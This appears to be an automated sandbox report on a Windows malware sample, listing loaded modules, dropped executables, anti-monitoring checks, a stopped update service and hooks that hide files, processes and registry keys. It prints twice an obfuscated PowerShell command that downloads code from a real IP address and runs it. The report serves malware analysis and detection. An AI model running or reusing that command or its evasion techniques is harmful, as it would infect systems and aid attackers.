Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\Mig\Mig.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\Mig\Mig.exe	Section loaded: winmm.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: LB31.exe, 0000000E.00000002.1872250872.00007FF7CEF4A000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: LB31.exe, LB31.exe, 0000000E.00000002.1872250872.00007FF7CEF4A000.00000040.00000001.01000000.00000010.sdmp, Mig.exe

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Roaming\LB31.exe	Unpacked PE file: 14.2.LB31.exe.7ff7ce9f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ndryujmp:EW;tnyudguu:EW;.pdata:R; vs :ER;.rsrc:W;eH{:W; :EW;ndryujmp:EW;tnyudguu:EW;.pdata:R;
Source: C:\ProgramData\Mig\Mig.exe	Unpacked PE file: 48.2.Mig.exe.7ff7deae0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ndryujmp:EW;tnyudguu:EW;.pdata:R; vs :ER;.rsrc:W;tX:W; :EW;ndryujmp:EW;tnyudguu:EW;.pdata:R;

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC\|I`E`X			Jump to behavior

Source: initial sample

Static PE information: section where entry point is pointing to: tnyudguu

Source: LB31.exe.9.dr	Static PE information: section name:
Source: LB31.exe.9.dr	Static PE information: section name: .idata
Source: LB31.exe.9.dr	Static PE information: section name:
Source: LB31.exe.9.dr	Static PE information: section name: ndryujmp
Source: LB31.exe.9.dr	Static PE information: section name: tnyudguu
Source: LB31.exe.9.dr	Static PE information: section name: .pdataI
Source: Mig.exe.14.dr	Static PE information: section name:
Source: Mig.exe.14.dr	Static PE information: section name: .idata
Source: Mig.exe.14.dr	Static PE information: section name:
Source: Mig.exe.14.dr	Static PE information: section name: ndryujmp
Source: Mig.exe.14.dr	Static PE information: section name: tnyudguu
Source: Mig.exe.14.dr	Static PE information: section name: .pdataI

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF886C60B9A push ds; iretd	9_2_00007FF886C60BA2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF886B1D2A5 pushad ; iretd	11_2_00007FF886B1D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF886B1FAD5 pushad ; iretd	11_2_00007FF886B1FAD7
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF886C30B83 push ds; iretd	11_2_00007FF886C30B82
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF886C30B5D push ds; iretd	11_2_00007FF886C30B82
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF886C319E1 push ds; iretd	11_2_00007FF886C319E2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF886D02316 push 8B485F94h; iretd	11_2_00007FF886D0231B
Source: C:\Windows\System32\winlogon.exe	Code function: 43_2_000001F385BAACDD push rcx; retf 003Fh	43_2_000001F385BAACDE
Source: C:\Windows\System32\winlogon.exe	Code function: 43_2_000001F385BDC6DD push rcx; retf 003Fh	43_2_000001F385BDC6DE
Source: C:\Windows\System32\lsass.exe	Code function: 49_2_000002A2911DACDD push rcx; retf 003Fh	49_2_000002A2911DACDE
Source: C:\Windows\System32\lsass.exe	Code function: 49_2_000002A2919AC6DD push rcx; retf 003Fh	49_2_000002A2919AC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000014E255EACDD push rcx; retf 003Fh	50_2_0000014E255EACDE
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_0000014E25EEC6DD push rcx; retf 003Fh	50_2_0000014E25EEC6DE
Source: C:\Windows\System32\dwm.exe	Code function: 51_2_00000283E131ACDD push rcx; retf 003Fh	51_2_00000283E131ACDE
Source: C:\Windows\System32\dwm.exe	Code function: 51_2_00000283E134C6DD push rcx; retf 003Fh	51_2_00000283E134C6DE
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_000001FB539AACDD push rcx; retf 003Fh	52_2_000001FB539AACDE
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_000001FB539DC6DD push rcx; retf 003Fh	52_2_000001FB539DC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001CBD8BBACDD push rcx; retf 003Fh	53_2_000001CBD8BBACDE
Source: C:\Windows\System32\svchost.exe	Code function: 53_2_000001CBD8BEC6DD push rcx; retf 003Fh	53_2_000001CBD8BEC6DE
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001F2BD14ACDD push rcx; retf 003Fh	54_2_000001F2BD14ACDE
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_000001F2BD17C6DD push rcx; retf 003Fh	54_2_000001F2BD17C6DE

Source: C:\Users\user\AppData\Roaming\LB31.exe	File created: C:\ProgramData\Mig\Mig.exe			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\LB31.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\LB31.exe

File created: C:\ProgramData\Mig\Mig.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Roaming\LB31.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: FilemonClass
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: RegmonClass
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: FilemonClass
Source: C:\ProgramData\Mig\Mig.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Roaming\LB31.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Hooks files or directories query functions (used to hide files and directories)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQueryDirectoryFile

Hooks processes query functions (used to hide processes)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: NtQuerySystemInformation

Hooks registry keys query functions (used to hide registry keys)

Source: explorer.exe

IAT, EAT, inline or SSDT hook detected: function: ZwEnumerateValueKey

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: ZwEnumerateKey new code: 0xE9 0x9C 0xC3 0x32 0x2C 0xCF

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: png.ps1

Static PE information: 2.png.ps1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
